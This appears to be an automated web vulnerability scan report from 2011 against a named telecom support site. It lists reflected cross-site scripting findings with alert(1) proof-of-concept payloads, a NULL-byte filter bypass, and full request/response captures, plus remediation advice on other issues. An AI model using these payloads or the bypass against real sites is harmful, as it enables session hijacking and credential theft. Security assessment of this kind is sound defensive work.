Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the p_sp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %006fb7e"><script>alert(1)</script>748c3bebb14 was submitted in the p_sp parameter. This input was echoed as 6fb7e"><script>alert(1)</script>748c3bebb14 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
HTTP/1.1 200 OK Date: Tue, 06 Sep 2011 10:04:47 GMT Server: Apache P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" RNT-Time: D=80775 t=1315303487447240 RNT-Machine: 04 Vary: Accept-Encoding Content-Length: 119642 X-Cnection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en-US"> <!-- Head ->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>- --> ...[SNIP]... ?p_sid=z*o_MoDk&p_lva=&p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!.6fb7e"><script>alert(1)</script>748c3bebb14&p_li="> ...[SNIP]...
The value of the cat_lvl1 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96477'%3balert(1)//be783f98a0 was submitted in the cat_lvl1 parameter. This input was echoed as 96477';alert(1)//be783f98a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cat_lvl2 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a47e4'%3balert(1)//43463e7f094 was submitted in the cat_lvl2 parameter. This input was echoed as a47e4';alert(1)//43463e7f094 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Tue, 06 Sep 2011 10:05:47 GMT Server: Apache P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" RNT-Time: D=124310 t=1315303547338174 RNT-Machine: 15 Vary: Accept-Encoding Content-Length: 221255 X-Cnection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <!-- Head --> <head> <meta name="robots" content="index, nofollow"> <meta http-equiv="Pragma" conten ...[SNIP]... <script type="text/javascript"> _alp_onload(1, ''); auto_populate(document._search, prod_array, '67,68', 'prods',false,false); auto_populate(document._search, cat_array, '62,0a47e4';alert(1)//43463e7f094', 'cats',false,false); </script> ...[SNIP]...
1.4. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www3.qwest.com
Path:
/cgi-bin/qwest.cfg/php/enduser/std_alp.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8b5a9'%3balert(1)//353f5e62508 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8b5a9';alert(1)//353f5e62508 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=%7Ean/8b5a9'%3balert(1)//353f5e62508y%7E HTTP/1.1 Host: www3.qwest.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html
Response
HTTP/1.1 200 OK Date: Tue, 06 Sep 2011 10:04:56 GMT Server: Apache P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" RNT-Time: D=102462 t=1315303496183176 RNT-Machine: 12 Vary: Accept-Encoding Content-Length: 221964 X-Cnection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <!-- Head --> <head> <meta name="robots" content="index, nofollow"> <meta http-equiv="Pragma" conten ...[SNIP]... <script type="text/javascript"> _alp_onload(1, ''); auto_populate(document._search, prod_array, '67,68', 'prods',false,false); auto_populate(document._search, cat_array, '8,~an/8b5a9';alert(1)//353f5e62508y~', 'cats',false,false); </script> ...[SNIP]...
The value of the p_accessibility request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 921ba%3balert(1)//8631c17ca13 was submitted in the p_accessibility parameter. This input was echoed as 921ba;alert(1)//8631c17ca13 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the p_accessibility request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9dbf9'%3balert(1)//00d0942046e was submitted in the p_accessibility parameter. This input was echoed as 9dbf9';alert(1)//00d0942046e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the p_cat_lvl1 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 127e5'%3balert(1)//7177cb2d7cd was submitted in the p_cat_lvl1 parameter. This input was echoed as 127e5';alert(1)//7177cb2d7cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8127e5'%3balert(1)//7177cb2d7cd&p_cat_lvl2=%7Eany%7E HTTP/1.1 Host: www3.qwest.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html
Response
HTTP/1.1 200 OK Date: Tue, 06 Sep 2011 10:04:25 GMT Server: Apache P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" RNT-Time: D=94215 t=1315303465134872 RNT-Machine: 19 Vary: Accept-Encoding Content-Length: 201562 X-Cnection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <!-- Head --> <head> <meta name="robots" content="index, nofollow"> <meta http-equiv="Pragma" conten ...[SNIP]... <script type="text/javascript"> _alp_onload(1, ''); auto_populate(document._search, prod_array, '67,68', 'prods',false,false); auto_populate(document._search, cat_array, '8127e5';alert(1)//7177cb2d7cd,0', 'cats',false,false); </script> ...[SNIP]...
The value of the p_cat_lvl1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %004a45a"><script>alert(1)</script>0abdd169772 was submitted in the p_cat_lvl1 parameter. This input was echoed as 4a45a"><script>alert(1)</script>0abdd169772 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8%004a45a"><script>alert(1)</script>0abdd169772&p_cat_lvl2=%7Eany%7E HTTP/1.1 Host: www3.qwest.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html
Response
HTTP/1.1 200 OK Date: Tue, 06 Sep 2011 10:04:22 GMT Server: Apache P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" RNT-Time: D=99504 t=1315303462710885 RNT-Machine: 11 Vary: Accept-Encoding Content-Length: 220404 X-Cnection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <!-- Head --> <head> <meta name="robots" content="index, nofollow"> <meta http-equiv="Pragma" conten ...[SNIP]... <a href="opensearch.php?q=&p_pv=1.67;2.68&p_cv=1.8.4a45a"><script>alert(1)</script>0abdd169772;2.u0&startPage=1"> ...[SNIP]...
The value of the p_cat_lvl2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b2ff"%20a%3db%202d82d0d27f8 was submitted in the p_cat_lvl2 parameter. This input was echoed as 8b2ff" a=b 2d82d0d27f8 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=8b2ff"%20a%3db%202d82d0d27f8 HTTP/1.1 Host: www3.qwest.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html
Response
HTTP/1.1 200 OK Date: Tue, 06 Sep 2011 10:04:33 GMT Server: Apache P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" RNT-Time: D=96616 t=1315303473435649 RNT-Machine: 14 Vary: Accept-Encoding Content-Length: 201486 X-Cnection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <!-- Head --> <head> <meta name="robots" content="index, nofollow"> <meta http-equiv="Pragma" conten ...[SNIP]... <a href="opensearch.php?q=&p_pv=1.67;2.68&p_cv=2.8b2ff" a=b 2d82d0d27f8&startPage=1"> ...[SNIP]...
The value of the p_cat_lvl2 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 147b7'%3balert(1)//a6228aac8b3 was submitted in the p_cat_lvl2 parameter. This input was echoed as 147b7';alert(1)//a6228aac8b3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=147b7'%3balert(1)//a6228aac8b3 HTTP/1.1 Host: www3.qwest.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html
Response
HTTP/1.1 200 OK Date: Tue, 06 Sep 2011 10:04:43 GMT Server: Apache P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" RNT-Time: D=101017 t=1315303483059110 RNT-Machine: 06 Vary: Accept-Encoding Content-Length: 201532 X-Cnection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <!-- Head --> <head> <meta name="robots" content="index, nofollow"> <meta http-equiv="Pragma" conten ...[SNIP]... <script type="text/javascript"> _alp_onload(1, ''); auto_populate(document._search, prod_array, '67,68', 'prods',false,false); auto_populate(document._search, cat_array, '8,147b7';alert(1)//a6228aac8b3', 'cats',false,false); </script> ...[SNIP]...
The value of the p_cv request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %008eba8"><script>alert(1)</script>0c43623ba42 was submitted in the p_cv parameter. This input was echoed as 8eba8"><script>alert(1)</script>0c43623ba42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the p_search_text request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %009fc55"><script>alert(1)</script>799c5384c24 was submitted in the p_search_text parameter. This input was echoed as 9fc55"><script>alert(1)</script>799c5384c24 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=%7Eany%7E HTTP/1.1 Host: www3.qwest.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html
Response
HTTP/1.1 200 OK Date: Tue, 06 Sep 2011 10:03:38 GMT Server: Apache P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" RNT-Time: D=138958 t=1315303418504436 RNT-Machine: 12 Vary: Accept-Encoding Content-Length: 221370 X-Cnection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <!-- Head --> <head> <meta name="robots" content="index, nofollow"> <meta http-equiv="Pragma" conten ...[SNIP]... </a> | <a href="http://storelocator.qwestapps.com/">Store Locator</a> ...[SNIP]... <p style="MARGIN: 0in 0in 0pt" class="MsoNormal">Your questions and concerns are very important to us.  Please visit our <a style="COLOR: #000080" href="https://qwest.centurylink.com/corporate/customerService/contactus/">customer service page</a> ...[SNIP]... <p>Log into your MyAccount profile. Click on the My Profile link and then select "<a href="https://qwest.centurylink.com/MasterWebPortal/ManageMyAccount/accounts" target="_new">Manage accounts</a> ...[SNIP]... <p>If you are switching your service to CenturyLink from another company and you would like to keep your existing phone number, please visit this page <a href="http://www.centurylink.com/home/comeback/">centurylink.com/comeback</a> ...[SNIP]... </strong> button to pay your bill online from your bank account, or with a credit or debit card. You can also pay through <a href="https://qwest.centurylink.com/MasterWebPortal/freeRange/QuickPay.action" target="_self">Quick Bill Pay</a> ...[SNIP]... <p>See <a href="http://cgi-bin/qwest.cfg/php/enduser/std_adp.php">How do I make a one-time payment?</a> ...[SNIP]... <p>See also <a href="http://cgi-bin/qwest.cfg/php/enduser/std_adp.php">How do I sign up for CenturyLink automatic recurring payments?</a> ...[SNIP]... <div>Go to <a href="http://www.centurylink.com/">http://www.centurylink.com/</a> ...[SNIP]... <p>See<a href="http://cgi-bin/qwest.cfg/php/enduser/std_adp.php">How do I sign up for CenturyLink automatic recurring payments?</a> ...[SNIP]... <li>Pay by mail <a href="https://qwest.centurylink.com/residential/manage/mailPayment.html">Locate the mailing address for your area</a> ...[SNIP]... <p><a href="https://qwest.centurylink.com/residential/manage/payment_options.html">Learn more</a> ...[SNIP]... <p><a href="https://qwest.centurylink.com/MasterWebPortal/residential/locallanding">Rates Vary By State</a> ...[SNIP]... <p><a href="https://qwest.centurylink.com/FCCRates/">Rates Vary By State</a> ...[SNIP]... <p><a href="https://qwest.centurylink.com/FCCRates/">Rates Vary By State</span> ...[SNIP]... </a> | <a href="http://www.dexknows.com/displayhome.ds">Dex Online</a> ...[SNIP]... <!-- LivePerson Monitor Tag Script--> <script type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&file=chatScript3&site=78221172&imageUrl=http://www.qwest.com/imgs/c2c/'></script> ...[SNIP]... <noscript> <a href="http://www.omniture.com" title="Web Analytics"><img src="http://qwest.com/images/spacer.gif" height="1" width="1" border="0" alt="" /> ...[SNIP]... <!-- LivePerson Monitor Tag Script--> <script language='JavaScript' type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&file=chatScript3&site=78221172&imageUrl=https://ecom2.qwest.com:4443/ebus/imgs/c2c/'></script> ...[SNIP]...
3. Cross-domain script includepreviousnext There are 2 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
HTTP/1.1 200 OK Date: Tue, 06 Sep 2011 10:03:53 GMT Server: Apache P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" RNT-Time: D=111298 t=1315303433752949 RNT-Machine: 09 Vary: Accept-Encoding Content-Length: 119598 X-Cnection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en-US"> <!-- Head ->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>- --> ...[SNIP]... <!-- LivePerson Monitor Tag Script--> <script language='JavaScript' type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&file=chatScript3&site=78221172&imageUrl=https://ecom2.qwest.com:4443/ebus/imgs/c2c/'></script> ...[SNIP]...
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
